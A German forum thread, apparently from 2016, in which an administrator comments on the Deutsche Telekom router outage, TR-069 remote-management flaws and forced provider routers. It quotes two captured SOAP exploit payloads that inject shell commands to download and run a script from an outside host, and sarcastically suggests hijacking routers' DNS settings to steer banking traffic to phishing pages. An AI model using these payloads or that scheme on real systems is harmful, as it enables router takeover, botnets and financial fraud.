Kurze Durchsage zum Thema "Warum Routerzwang ne schlechte Idee gewesen wäre" .....

Rain_Maker

Administrator
Teammitglied
Solltet Ihr ein schlagendes Argument für die obige Aussage brauchen:

https://www.heise.de/netze/meldung/Grossstoerung-im-Telekom-Netz-3505820.html

https://www.heise.de/netze/meldung/Grossstoerung-bei-der-Telekom-Die-Telekom-prueft-Hinweise-auf-Hackerangriff-3506044.html

Netter Gag ist natürlich, daß Nutzer, die einen alternativen Nameserver verwendet haben, davon nicht betroffen waren.

BTW, das muss ja nicht zwingend der 8.8.8.8 von Google sein, der Link zum CCC nennt gute Alternativen und ich persönlich bin mit

Code:
85.214.20.141
dem DNS von Digitalcourage eV (ehemals FoeBud) auch schon ganz gut gefahren.

So und nun stellen wir uns mal vor, es hätte Routerzwang geherrscht, wer wäre dann davon betroffen gewesen?

Oder anders formuliert, wie viele Kunden hat die Deutsche Telekom noch mal?

Und als Sahnehäubchen wäre da noch das hier:

Weitere Details zu Art des möglichen Hackerangriffs, zu den betroffenen Routern und zu weiteren Gegenmaßnahmen gab die Telekom bislang nicht bekannt. Einige Hinweise deuten derzeit darauf hin, dass die Probleme mit dem Fernwartungs- und Konfigurationsprotokoll TR-069 zusammenhängen. Bereits 2014 hatten Sicherheitsexperten schwere Lücken in den Server gefunden, die Provider für TR-069 einsetzen.
Link zum Artikel aus 2014

https://www.heise.de/netze/meldung/Def-Con-22-Millionen-DSL-Router-durch-TR-069-Fernwartung-kompromittierbar-2292576.html

Bei den frei auf dem Markt erhältlichen Routern ist die TR-069-Funktion in der Regel abgeschaltet und nur auf Wunsch einschaltbar.
Frei nach dem sinnvollen Motto:

"Every feature you can't turn off is a bug"

Hingegen ist sie bei den von Providern gestellten, oft baugleichen Geräten in aller Regel aktiviert und nicht abschaltbar.
Frei nach dem Motto der "Routerzwang ist ne tolle-Idee"- Provider:

"What could possibly go wrong?"

Ob ähnliche Lecks auch für die aktuellen Störungen ausgenutzt wurden, ist derzeit aber noch völlig unklar.
Hm, mag ja sein, aber wenn ich mir Folie 18 aus besagtem Vortrag ansehe, dann ....

What would an attacker do if he was in control of an ACS?
* Get private data
• SSID, hostnames & MAC addresses, usernames, VoIP
• Get complete configuration incl. passwords (vendor-specific)
* Set every parameter
DNS servers
• Wi-Fi (add new hidden SSID, remove password)
würde ich zumindest sagen, genau DIESES Szenario hat sich schon mal jemand sehr genau angesehen und (erfolgreich!) getestet.

Tja, und nun wissen wir wie das Ganze also "in the wild" aussieht, aber eigentlich wussten wir das schon 2014.

Hier noch der Link zu den Folien ....

https://defcon.org/images/defcon-22/dc-22-presentations/Tal/DEFCON-22-Shahar-TaI-I-hunt-TR-069-admins-UPDATED.pdf

und wer sich den ganzen Horror live und in Farbe geben möchte, hier der Link zum Vortrag auf der DEFCON 2014

https://www.youtube.com/watch?v=rz0SNEFZ8h0

Greetz,

RM
 
G

gdd

Guest
Der vorstehende Post wurde von mir verfasst. Sauerland hat das NICHT gepostet.
Er gab mir einen Link auf diesen Post, den ich anklickte und damit Sauerlande war.

Ganz übler Bug.
 

Rain_Maker

Administrator
Teammitglied
Ich würde mal vermuten, daß Sauerland einen Link gesendet hat, der sein Session-Cookie enthielt.

Und mit einem Session-Cookie von User X ist man dann auch automatisch User X.

Es kann natürlich trotzdem ein Bug sein, etwas mehr Informationen bitte (den Link 1.1 per PN an mich).

Greetz,

RM
 

Rain_Maker

Administrator
Teammitglied
Nachtrag:

Ein erneuter Versuch dieses Verhalten zu reproduzieren war nicht erfolgreich, allerdings kann ich Nutzern des Forums nur raten vor dem Versenden eines Links (im angemeldeten Zustand) _genau_ auf die Adresszeile des Browsers zu schauen, ob dort neben den erwarteten Daten

(z.B. so etwas hier)

Code:
http://www.suseforum.de/index.php/Thread/11081-Kurze-Durchsage-zum-Thema-Warum-Routerzwang-ne-schlechte-Idee-gewesen-w%C3%A4re/?postID=30654#post30654
noch irgendwelche anderen Strings enthalten sind, die wie eine Session-ID (ich schrieb zuvor "Session-Cookie", das war eine Freudsche Fehlleistung, denn genau das verwendet man statt der schlechten Praxis eine Session-ID in der Adresszeile zu speichern) aussehen, meist sind das Ausdrücke wie

Code:
?s=LANGE_ZEICHENKETTE_AUS_ZAHLEN_UND_BUCHSTABEN_DIE_KEINEN_ERKENNBAREN_SINN_ERGEBEN
Wie oben bemerkt, es wäre schlechtes Design einer (Foren)software heutzutage noch diesen Mechanismus zu verwenden (dafür gibt es schließlich Session-Cookies), aber ich kann dies zur Zeit nicht komplett ausschließen.

Die Forensoftware ist auf dem aktuellen Stand und mehr kann ich mit meinen Zugriffsrechten (die eben nicht den darunter liegenden Server beinhalten) leider nicht machen ein eventuell doch vorhandenes Problem zu fixen.

Greetz,

RM
 

Rain_Maker

Administrator
Teammitglied
Um mal wieder zum Thema zurück zu kommen.

Sollte es irgendwann (man weiß ja nie) dazu kommen, daß die "gezielter Hackerangriff, wahrscheinlich von einer staatlichen Stelle gefördert" (auch bekannt als "Eckhaaaaaaad die RUSSEN SIND DA!!!!") Bullshit-Keule gezogen wird, dann hab ich hier was als weitere Munition zum Gegenfeuern.

https://isc.sans.edu/forums/diary/Port+7547+SOAP+Remote+Code+Execution+Attack+Against+DSL+Modems/21759

Ich zitiere:

It also seems it's alternating between ftp and tftp. These are the three latest attempts from my honeypot.

<?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1">
<NewNTPServer1>`cd /tmp;ftpget l.ocalhost.host z.sh ftpget.sh;chmod 777 y.sh;./y.sh`</NewNTPServer1>
<NewNTPServer2></NewNTPServer2>
<NewNTPServer3></NewNTPServer3>
<NewNTPServer4></NewNTPServer4>
<NewNTPServer5></NewNTPServer5>
</u:SetNTPServers>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

<?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1">
<NewNTPServer1>`cd /tmp;tftp -l y.sh -r tftp.sh -g l.ocalhost.host;chmod 777 y.sh;./y.sh`</NewNTPServer1>
<NewNTPServer2></NewNTPServer2>
<NewNTPServer3></NewNTPServer3>
<NewNTPServer4></NewNTPServer4>
<NewNTPServer5></NewNTPServer5>
</u:SetNTPServers>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
Ernsthaft?

Der Exploit besteht darin ein Shellkommando in Backticks zu packen und in eine normale Anfrage als zu setzender Parameter einzufügen und das wird dann auch noch netterweise von /bin/sh ausgeführt?

Na wenn DAS nicht der Urdefinition des Begriffs "Script-Kiddie" entspricht, was dann?

Erinnert mich irgendwie an den Klassiker schlechthin, "Little Bobby Tables".

https://www.xkcd.com/327/

Mal ganz davon abgesehen, nehmen wir mal an ein Angreifer will mit seinem Angriff die Kisten übernehmen oder zumindest irgendeinen Vorteil daraus ziehen (Stichwort Botnetz um DANN mit diesen Bots einen DDoS zu fahren).

Was wäre dann das, was nicht passieren sollte?

Nun, mit Sicherheit ist es dann nicht zielführend massenweise die Zielgeräte vom Netz zu schießen oder gar zum Absturz zu bringen, der "gezielte, hochgefährliche Angriff" wäre unter diesen Annahmen also eher eine ziemlich dilettantische Aktion gewesen.

Ich kann es mir dieses mal echt nicht verkneifen, deshalb noch ein kleiner Tipp fürs nächste Mal:

Einfach nur die Nameserver auf eine IP ändern, die einem Nameserver gehört, den man unter Kontrolle hat und der für "ausgesuchte" Domains (sagen wir Onlinebanking & Co.) falsche Antworten gibt, die $OPFER auf Deine täuschend echt aussehende Phishingseite lenkt, dann wirds auch was mit dem Profit am Ende.

Greetz,

RM
 

Rain_Maker

Administrator
Teammitglied
Gäbe es einen passenden *NIX-Befehl, dann wäre es ier

Code:
man selbsterfuellende Prophezeiung
Rain_Maker schrieb:
Sollte es irgendwann (man weiß ja nie) dazu kommen, daß die "gezielter Hackerangriff, wahrscheinlich von einer staatlichen Stelle gefördert" (auch bekannt als "Eckhaaaaaaad die RUSSEN SIND DA!!!!") Bullshit-Keule gezogen wird,
https://www.heise.de/newsticker/meldung/Telekom-Chef-Aufruf-zu-den-Cyber-Waffen-3519870.html

Nach der erfolglosen, aber dennoch desaströsen Attacke auf die Router seiner Kunden hat der Telekom-Chef bei einer Security-Konferenz in Frankfurt ein härteres Vorgehen gegen IT-Angriffe gefordert. Er rief dazu auf, eine Art "Cyber-NATO" zu gründen und gleichzeitig staatliche Angriffe auf die IT-Infrastruktur zu ächten.
OK, nicht wirklich explizit ausgesprochen aber schön durch die Hintertür (pun Intended) formuliert, wir lassen das Mal gelten, mein Herr.

Was ich mir allerdings unter einer "Cyber-NATO" (das war sicher auch kein Zufall genau diesen Vergleich zu wählen, ich sag nur "Eckhaaaaaaaaaaaaaaaad die Russen sind da") vorstellen soll, kann (und will!) ich erst dann mit meinem Gewissen/Verstand ausmachen, wenn ich beide mit reichlich Alkohol (> 2.0 Promille Untergrenze) auf das aus diesen Worten anzunehmende intellektuelle Niveau des Vorschlaggebers "heruntergeregelt" habe.

Und damit erkläre ich die nächste Runde im Cyberbullshitbingo für eröffnet, mögen die Spiele beginnen.

Greetz,

RM

P.S. Ja ich weiß, der Heise-Artikel war schon vor meiner "Prophezeiung" erschienen, gelesen habe ich ihn trotzdem erst danach (Indianerehrenwort) und mal ganz ehrlich, war auch keine allzu schwere Vorhersage, oder?
 

Rain_Maker

Administrator
Teammitglied
Ein paar weitere durchaus interessante und unerwartete Details zu dem Angriff:

http://www.linus-neumann.de/2016/11/30/warum-die-telekom-router-ausgefallen-sind/

Zumindest das "komplett dilettantischer Angriff" scheint sich damit mehr als zu bestätigen, die Krisenkommunikation des Herrn Höttges und sein Cyberbullshitbingo wirken IMHO dadurch dann noch lächerlicher als zuvor.

(Und die Sache mit meinem "Tipp", was man als Angreifer nächstes Mal mit seinem Angriff machen sollte, stimmt immer noch *fiesgrins*, denn das wäre plattformunabhängig, da nativ in TR-069implementiert, egal was dann dahinter für ein OS werkelt.)

Greetz,

RM
 
Oben